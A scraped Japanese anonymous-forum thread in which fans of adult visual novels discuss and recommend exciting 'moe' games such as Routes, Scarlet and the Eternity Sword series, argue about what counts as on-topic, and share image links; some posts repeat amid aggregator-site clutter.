いや、かなり悪評まみれの気が・・・。 ていうかもの凄いご都合主義の塊が八百長レースしてるようなもんだから燃えようがない。

いや、かなり悪評まみれの気が・・・。 ていうかもの凄いご都合主義の塊が八百長レースしてるようなもんだから燃えようがない。 エロ動画ブログ スカーレットは比較的悪評が少なめな良作だと思う 強烈な燃えはないからこのスレ的には微妙だけどな



401:名無したちの午後
スカーレットは思春期の青臭さ全開を肯定したまま進んだのに吹いた でも楽しく読んでるよ、まだ終わってないけど

402:名無したちの午後
さすが燃えゲースレだな。

403:名無したちの午後
あしたの雪之丞(おもに2)みたいな燃えってないですか? ロボットとか銃とかは無い感じの

404:403
あ、霊とか魔法とかも要らないです。 スポ根じゃないんだけど、さわやかなヤツ・・・ エロゲでさわやか求めてもしかたないけど

405:名無したちの午後
>>403 わくわく☆惑星プリンセス

406:名無したちの午後
>>403 Quartett(カルテット) フィナーレの爽やかさはエロゲ最高峰、ただ燃えれるかどうかは微妙

407:名無したちの午後
>403 ぎゃくたま2

408:名無したちの午後
>>403 家族計画 こなたよりかなたまで てのひらをたいように GREEN セパレイトブルー あたりか?

409:403
>>404-408 ありがとう、HP行ってよかったら買ってみるかな 生徒会とかは多いけど部活とかスポーツものってのは少ないのかな 主人公の行動が絞られてしまうからだろうか

410:名無したちの午後
   ∧_∧ <ホント燃えゲースレは地獄だぜ!フゥハハハーハァー!    (,, ゜Д゜)((ニ(ニ(l            ,  ''"´"''': ; . ,   /ヽヽ|三三二弌ll=========lニlll),,'   . : ;  _,; " ヽ(  ゝつニ〃l,=l┘            "'' -''''"´   (,__)-つ       ズガガガガガガガガガ…

411:名無したちの午後
「魔法が世界を救います」は以外と良かった。 後半のシャオのおっさんがかっこよすぎ。 30%くらい燃えた

412:名無したちの午後
ですがどう見ても作業ゲーです。 本当にありがとうございました

413:名無したちの午後
それをいわれると、何もいえん。 まぁ、能力継続できるだけいいよ

414:名無したちの午後
プリっちオワタ ロスチャなんかよりよっぽどヒーローになれる気がするw

415:名無したちの午後
俺も思った。 つーか主人公の声カッコよ過ぎ

416:名無したちの午後
戦闘シーンの声だけで燃える俺マジ単純

417:名無したちの午後
そんなのばっかだよ、この糞スレ。 だから気にするな。

418:名無したちの午後
プリっちの主人公の中の人の声はマスターテリオン 主人公がマスターテリオンだと思ってやり直すと 新鮮で新しい世界が開ける

419:名無したちの午後
今更車輪やってっけど2章萌えるな。 何が萌えるかってヒロインがリアリティ有る方向に最高のクズヤロウなのがめさめさ萌える。

420:名無したちの午後
それがどうかしたのか?

今更車輪やってっけど2章萌えるな。 何が萌えるかってヒロインがリアリティ有る方向に最高のクズヤロウなのがめさめさ萌える。 エロテロリスト 200506 プリっちの主人公の中の人の声はマスターテリオン 主人公がマスターテリオンだと思ってやり直すと 新鮮で新しい世界が開ける



421:名無したちの午後
リアリティ

422:名無したちの午後
>>419 「あんた」ってのは賢一の姉の事だよ。 灯花の傷は京子さんがつけたんだよ。

423:名無したちの午後
そろそろネタバレ厨が来る頃だな

424:名無したちの午後
>>423 もう来てるだろ・・・

425:名無したちの午後
流れに噴いたw 車輪はちょっと変わった燃えゲーって感じでいいよな

426:名無したちの午後
いいんじゃないの?俺は嫌いだけどさ

427:名無したちの午後
そうだな、俺も嫌いだけど。

428:名無したちの午後
車輪刑

429:名無したちの午後
スカーレット終わった やっぱRoutes思い出すなぁ・・・ Routes PORTABLEどうなってるんだろう これ出た後PC版でフルボイス版が出ないかと期待してるんだが

430:名無したちの午後
>>429 Routesライターの一人が既に退社してるからなぁ…VAに行った説なんかも出てるけど。



431:名無したちの午後
Routesは序盤からのダラダラ糞っぷりで途中で投げたよ。

432:名無したちの午後
本当、何もかもそっくりだよな…。

433:名無したちの午後
>>431 俺と同じだ 買ったからにはクリアしようと思って 今まで間をおいて3回インストールし直したんだが、毎回序盤でギブw

434:名無したちの午後
Routesは普段の掛け合いの会話がそこそこおもろかったから俺は割りと好きだな。 あの主人公の設定は解せんがw

435:名無したちの午後
厨房の妄想ちっくだな 学校じゃ地味だけど俺実は最強だぜ? って感じの

436:名無したちの午後
普段はヘタレだけど…よりはましかな。 いや、やったことないけど。

437:名無したちの午後
エロゲの中では俺もてるんだぜって感じか。

438:名無したちの午後
プリズム・アークが延期したって… 最悪だ

439:名無したちの午後
いいかげん慣れろよ(´・ω・`)

440:名無したちの午後
Routesは上の方に色々同意だが あのバカップルで元は取れた感じだ 燃えはしなかったかな

Routesは上の方に色々同意だが あのバカップルで元は取れた感じだ 燃えはしなかったかな NVネットワーク メーカー検索 厨房の妄想ちっくだな 学校じゃ地味だけど俺実は最強だぜ? って感じの



441:名無したちの午後
俺もROUTESは苦手だ。 鎌倉時代辺?はそうでもないんだけど それ以外はどうにもあのベタベタ感が・・・

442:名無したちの午後
ROUTESは七海と夕菜ルートは好き

443:名無したちの午後
Routesはバカップルスレと姉スレではかなり評価高いな。

444:名無したちの午後
まあ、燃えゲーかといわれると?だが、バカップルの会話はなかなかいい水準をいってたな。

445:名無したちの午後
Routesは主人公が金持ちなのが好き。

446:名無したちの午後
Routesはこのスレで語るほどは燃えない だが秀作まではいかないけど、良作ではある 葉ならうたわれ、痕、TtTの方が燃えるしね

447:名無したちの午後
別にこのスレで語るのにボーダーラインとかそんなものはない。

448:名無したちの午後
だから>>446みたいなのが平気でいられるんだよな。

449:名無したちの午後
>>448 2ch初心者さんですか? 「燃えゲーを語るスレ」なんだから燃えるか燃えないかの談議は普通だろ?

450:名無したちの午後
>449 このスレで語るに値する燃えゲーきぼん

451:名無したちの午後
良い燃えゲーってこと? Fateとファントムでいいじゃん

452:名無したちの午後
>>450 それを語り合うのが、このスレの趣旨だろ・・・

453:名無したちの午後
ID似すぎ。自演かと思ったw

454:名無したちの午後
何この流れ・・・ >>447はホントに2ちゃん初心者? 燃えるかどうかの話じゃなくて、ただRoutesの話がしたいなら、葉鍵板って所に専用のスレがあるからそっちでどうぞ

455:名無したちの午後
相変わらずの糞スレだな。

456:名無したちの午後
>>455 おつかれさまっす!

457:名無したちの午後
未だに公式では公開されてないが、アセリアの続編の 永遠神剣シリーズ 第二章 聖なるかな-The Spirit of Eternity Sword 2- コレに期待してる。 ・アセリアとの直接的な繋がりはないらしい。 ・神々→人間の転生ものらしい ・神剣+神獣が登場 ・イラストは、まさはる。「憂ちゃんの新妻だいあり〜」ttp://www.xuse.co.jp/product/ui/index.html とか書いてる人 手元に聖なるかなのガイドブックがあるんだが それに載ってるヒロインの絵はかなりイイ感じ 反応があったら他の情報も書き込んでみる

458:名無したちの午後
キモウトじゃなければ興味ある

459:名無したちの午後
せめて人類の骨格を採用してくれ。

460:名無したちの午後
人類の骨格を正式採用したらエロゲーじゃ無くなる。

未だに公式では公開されてないが、アセリアの続編の 永遠神剣シリーズ 第二章 聖なるかな-The Spirit of Eternity Sword 2- コレに期待してる。 ・アセリアとの直接的な繋がりはないらしい。 ・神々→人間の転生ものらしい ・神剣+神獣が登場 ・イラストは、まさはる。「憂ちゃんの新妻だいあり〜」ttp://www.xuse.co.jp/product/ui/index.html とか書いてる人 手元に聖なるかなのガイドブックがあるんだが それに載ってるヒロインの絵はかなりイイ感じ 反応があったら他の情報も書き込んでみる エロテロリスト 何この流れ・・・ >>447はホントに2ちゃん初心者? 燃えるかどうかの話じゃなくて、ただRoutesの話がしたいなら、葉鍵板って所に専用のスレがあるからそっちでどうぞ



461:名無したちの午後
2次元キャラの骨格標本とか見てみたいな 頭蓋骨や肋骨あたりが異次元入ってそうだ

462:457
普通に8頭身の絵だぞ。 メインヒロインっぽい書かれ方してる斑鳩沙月なんか俺のツボだな。 アセリアの絵には萎えてたってやつは期待していいかも?

463:名無したちの午後
アセリアも言われるほどひどい絵じゃないと思うけどな。キモウトが色んな意味で規格外だっただけで。

464:名無したちの午後
キモウトって誰だっけ?

465:名無したちの午後
これ。 ttp://www.xuse.co.jp/product/aselia/img/ase_cg03.jpg

466:457
thxxxxxx ああ、いもうと=キモウトか・・・・ 納得 今、外出先だからガイドブックが手元に無いんだが・・・ 確か主人公の兄弟姉妹は出てこないから大丈夫(たぶん メインヒロインっぽいのは斑鳩沙月 主人公の世界と酷似してる異世界の人間だったはず。 次点で、おとなしめの幼馴染み また、帰宅したら詳しい情報書くよ。

467:名無したちの午後
>>461 ttp://michaelpaulus.com/gallery/character-Skeletons

468:名無したちの午後
アセリアは絵が酷いうんぬんよりも、キモウトがスタートダッシュかけてくるのが痛かったな。 あの2時間は心が折れかけたぜ。

469:名無したちの午後
一番最初のドアップがキモすぎて一旦終了したのは俺だけじゃないはず

470:名無したちの午後
>>469 よう俺。 正直瞬に持っていって欲しかった。

471:名無したちの午後
キモウトってそんなに酷いのか?

472:名無したちの午後
どうでもいい。

473:名無したちの午後
ligthの新作良さ気なんだがこれってパラダイスロストのライターだよな?

474:名無したちの午後
>>473 同じだよ。演出面でパワーアップしてることに期待

475:名無したちの午後
アセリアは面白いよな。最終章とか大好きだ でも1章のキモウt(ry

476:名無したちの午後
>>471 ラフ画ではそれほど悪くはないんだが、塗りがアレ過ぎてモグラ人間に見える

477:名無したちの午後
キモさにはあの帽子も一役かってるよな

478:名無したちの午後
>>477 可愛さを強調するためだろう 常に余ってる袖とか、メガネもうざかった。 本当瞬に持って行って欲しいねw

479:名無したちの午後
いっそ死んでくれてもよかった ストーリーは少し変わるがそれでも面白そう

480:名無したちの午後
主人公に陵辱(笑

いっそ死んでくれてもよかった ストーリーは少し変わるがそれでも面白そう オススメサイト更新履歴 >>477 可愛さを強調するためだろう 常に余ってる袖とか、メガネもうざかった。 本当瞬に持って行って欲しいねw



481:475
メインヒロインっぽい斑鳩沙月の情報をアプしてみる。 絵 ttp://blog70.fc2.com/r/rayaaa/file/satuki.jpg 説明文 ttp://blog70.fc2.com/r/rayaaa/file/satukisetumei.jpg

482:名無したちの午後
>>481 購入決定

483:名無したちの午後
なんか妙に普通だなw

484:457
すまん。481だ 俺は475じゃなくて>>457だった >482 反応はやすぎwwwww

485:名無したちの午後
6位って、新作ってエターナルの連中じゃないのか まぁ奴らは万能過ぎて燃えづらいかもしれぬ

486:457
>485 アセリアとはFFシリーズみたいな感じの繋がりしか無い模様 似て非なる世界かな? 神剣はあるけど、エターナルはいないっぽい 個人的にはユーフォニアが出てきて欲しかったので残念

487:名無したちの午後
同じく購入決定。

488:名無したちの午後
途中で送信しちまったorz 歌が前作と同じ人だったらいいな。OPED追加全部歌ってる人違うらしいが、全部好きだ

489:名無したちの午後
あれ、ユーフォがカオス側にいるとかそういう話じゃなかったんだ・・・

490:名無したちの午後
ユーフォニアって悠人とアセリアの娘だよな。 あれって設定だと一人で任務に赴いた時、とあるロウエターナルにあって、色々あってロウ側についたって事になってるよな。 そこらへんに触れて欲しいな

491:名無したちの午後
>490 設定資料集なんてあったのか…知らなかった。 もう手に入らんのかな…

492:名無したちの午後
>491 俺も設定資料集欲しいんだが見つからない……orz 前ヤフオクでみたんだけどなぁ

493:名無したちの午後
アセリアやってないと話についていけないな…。 時々作品が偏るのは仕方ないけどせめて燃え的な話をしてくれよ。

494:名無したちの午後
普通に戦争してた間が一番燃えた俺にとってエターナルが出ないというのは福音だ。 つーかありゃ萎える、終盤に沸いてきてアレは私だコレも私だと言わんばかりの存在は。   いやまあ、今回も最後の方に湧いてくるんだろうが。

495:名無したちの午後
RPG・SLG系総合スレッドかと思ったジャマイカ

496:名無したちの午後
いや、沸いてこないと思うぞ 今度の世界は時間樹ってのが根本にあって 時間樹イコール全世界 世界の根本は一つだけど無数に分岐していてその中の一つが主人公の世界。樹でいうと枝にあたる しかし、枝が増えすぎて養分が足らなくなった為、時間樹が枯れ始めているらしい 世界を一つ消せば枝が一つ減る。 だから、時間樹という全世界を守る為に枝を消しまくってるーのが主人公と敵対する組織らしい そんな世界だからアセリアとの繋がりは全くなさげ ちなみに主人公は破壊神の転生体らしい 自身の破壊衝動と戦うらしいから、この辺はユウト&求めと似てる設定だな

497:名無したちの午後
時間樹イコール全世界イコール統合された永遠神剣じゃねーの? んで敵対するのがロウエターナルになるんじゃねーの?

498:名無したちの午後
つーか、永遠神剣の最高位は「永遠のアセリア」の持ってる「永遠」の真の姿の「永劫」らしいぞ。 もし、ゲームを深くしたらアセリアが出てくるんじゃないか

499:名無したちの午後
いい加減ウザイ。 設定語りしたいんなら該当スレがあるだろ。

500:名無したちの午後
うざいって言うなら違う話題出せばいいと思うんだが・・・

つーか、永遠神剣の最高位は「永遠のアセリア」の持ってる「永遠」の真の姿の「永劫」らしいぞ。 もし、ゲームを深くしたらアセリアが出てくるんじゃないか 末永ひより 二十歳の滴り 時間樹イコール全世界イコール統合された永遠神剣じゃねーの? んで敵対するのがロウエターナルになるんじゃねーの?



501:名無したちの午後
他の話題が無いのはスレ違いを続けていい理由にはならんぞ。

502:名無したちの午後
相変わらずの糞スレだな。

503:名無したちの午後
画面に精子つけすぎんなよ ヲタども

504:名無したちの午後
外野がすまんが、設定燃えな人もいるだろうし一概にスレ違いとはいえないと思うが・・・・・・

505:名無したちの午後
設定燃えですらないし。

506:名無したちの午後
人それぞれじゃないん?

507:名無したちの午後
それ言っちゃうと、全部人それぞれってことで、スレ違いどころか板違いの内容も話せちゃうようになるよね

508:名無したちの午後
>>507 その解釈はさすがに極端じゃないか?? きわどい場合の話だしなー。

509:名無したちの午後
>506 同意 大体文句言う理由は、自分が話について行けなかったから嫌だっただけじゃ・・・ 他の話題出せばいいんだよ。そっちに興味がある人が多かったら自然と話の主体は移るよ

510:名無したちの午後
>>508 お前は極端に思うかもしれない でも俺にとっては普通の解釈 人それぞれだからこういう解釈の違いは仕方ないよね

511:名無したちの午後
しつこい

512:名無したちの午後
ウザガられたくらいでグチグチ言い訳するくらいなら それこそ興味の引く話題でも出せばいいのに。

513:名無したちの午後
まあ、話題の一つも振れない癖にスレの流れにケチつけるんだから、ウザがられても仕方ないな。

514:508
同じ燃えゲースキー同士として仲良くしようぜ。 >>510 まぁ確かにそうかもな。結局はどちらかが一歩譲るしかないんだと思う。なんにせよ俺はとりあえずは嫌がってる人がいる以上 設定の話は控えることにするよ。すまん。

515:名無したちの午後
出るのが何年先かもわからんしな

516:名無したちの午後
一応今年出る「予定」らしいが・・・ちょっと怪しいな

517:名無したちの午後
つーか、やっぱ他に話題ないんじゃ・・・

518:名無したちの午後
>>516 アセリア自体かなり延期したし、ちょっとどころではすまないのでは…

519:名無したちの午後
まぁ、半年以上は覚悟しとかないとな

520:名無したちの午後
>518 そうなのか・・・それは知らなかった。 今冬キボンなんだがなー あれほど燃えるRPGは中々ない。 神獣システムがどう絡んでくるのかが気になるなあ あと、シナリオしっかり練ってほしいな・・・ アセリアは面白いんだけど、かなり荒が目立ったから

>518 そうなのか・・・それは知らなかった。 今冬キボンなんだがなー あれほど燃えるRPGは中々ない。 神獣システムがどう絡んでくるのかが気になるなあ あと、シナリオしっかり練ってほしいな・・・ アセリアは面白いんだけど、かなり荒が目立ったから エロテロリスト 200507 >>516 アセリア自体かなり延期したし、ちょっとどころではすまないのでは…



521:名無したちの午後
ところでなんでageまくってんの?

522:名無したちの午後
露出燃えなんじゃない

523:名無したちの午後
何時ものアレとかあれの話よりはましかな。

524:名無したちの午後
sageいれるの忘れてた・・・

525:名無したちの午後
>524 いまさらかーい それはさておきW杯をネタにエロゲにすればいいものができそうだな ストーリーは全く考えていないがw

526:名無したちの午後
スポ根物は作るのが大変そうだな…ましてやサッカーだぞ。

527:名無したちの午後
陽一キャラのパロディが精一杯だな

528:名無したちの午後
改心の一撃くらった後、イヤボーン三連発で逆転?

529:名無したちの午後
今、気がついた 少林サッカーをエロゲ風にすればいいんじゃないかな?

530:名無したちの午後
燃えゲーのサントラは良いものだ



531:名無したちの午後
デュエルセイバーは好きだった。 特に主題歌

532:名無したちの午後
Fatallyはイイよなー。 KOTOKO、霜月はるか、栗林みな実、辺りの曲は大好きだなあ。

533:名無したちの午後
六三四の剣をエロゲ化すれば・・・。

534:名無したちの午後
>>525 何故かみりすのまじれす思い出した……

535:名無したちの午後
思い出すも何も>>527が既に。 意味がわからんかったらまじれすのキャラの苗字を見てみるといいさ。




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